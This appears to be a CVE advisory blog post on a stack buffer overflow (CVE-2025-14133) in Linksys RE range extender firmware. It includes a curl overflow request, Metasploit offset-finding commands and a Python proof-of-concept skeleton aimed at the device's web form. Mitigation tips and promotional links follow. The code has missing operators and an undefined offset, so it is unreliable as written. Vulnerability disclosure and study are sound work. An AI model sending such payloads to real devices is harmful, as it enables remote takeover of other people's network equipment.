Linksys RE Series, Stack-Based Buffer Overflow, CVE-2025-14133 (High)

Listen to this Post

The vulnerability CVE-2025-14133 is a stack-based buffer overflow in the `AP_get_wireless_clientlist_setClientsName` function within the `mod_form.so` library on affected Linksys wireless range extenders. The flaw occurs because the function does not properly validate or restrict the length of data copied into a fixed-size buffer on the program’s stack when processing the `clientsname_0` argument. An attacker can remotely send an HTTP request containing an overly long string for this parameter. This excessive data overflows the allocated buffer, overwriting adjacent memory, including critical control data such as the function’s return address. By precisely crafting this overflow, an attacker can hijack the program’s execution flow to run arbitrary code on the device, potentially leading to a full system compromise.

dailycve form

Platform: Linksys RE Series
Version: 1.0.013.001/1.0.04.001/1.0.04.002/1.1.05.003/1.2.07.001
Vulnerability: Stack-based overflow
Severity: High
date: 2025-12-06

Prediction: No vendor response

What Undercode Say:

Curl command to send a malicious POST request with an oversized 'clientsname_0' parameter
curl -X POST http://[bash]/form/.../AP_get_wireless_clientlist_setClientsName -d "clientsname_0=$(python -c 'print("A"500)')"
Pattern creation and offset calculation for exploit development
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [bash]
Simple Python proof-of-concept skeleton
import socket
import struct
target_ip = "192.168.1.1"
buffer = "A" offset + struct.pack("<I", 0xdeadbeef) + "C" (500 - offset - 4)
request = f"POST /form.cgi HTTP/1.1\r\nHost: {target_ip}\r\nContent-Length: {len(buffer)}\r\n\r\n{ buffer}"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 80))
s.send(request.encode())
s.close()

How Exploit:

The exploit is initiated remotely by an authenticated attacker sending a specially crafted HTTP POST request to the vulnerable web interface endpoint. The request manipulates the `clientsname_0` parameter with a payload longer than the stack buffer can hold. This payload includes shellcode and a overwritten return address that points to the attacker’s code, enabling execution with the device’s privileges. A public proof-of-concept exploit is available.

Protection from this CVE:

– Segment network, isolate extenders.
– Await official firmware patch.
– Disable remote management access.
– Monitor for intrusion attempts.

Impact:

Complete device compromise.

High confidentiality, integrity, availability impact.

Remote code execution possible.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top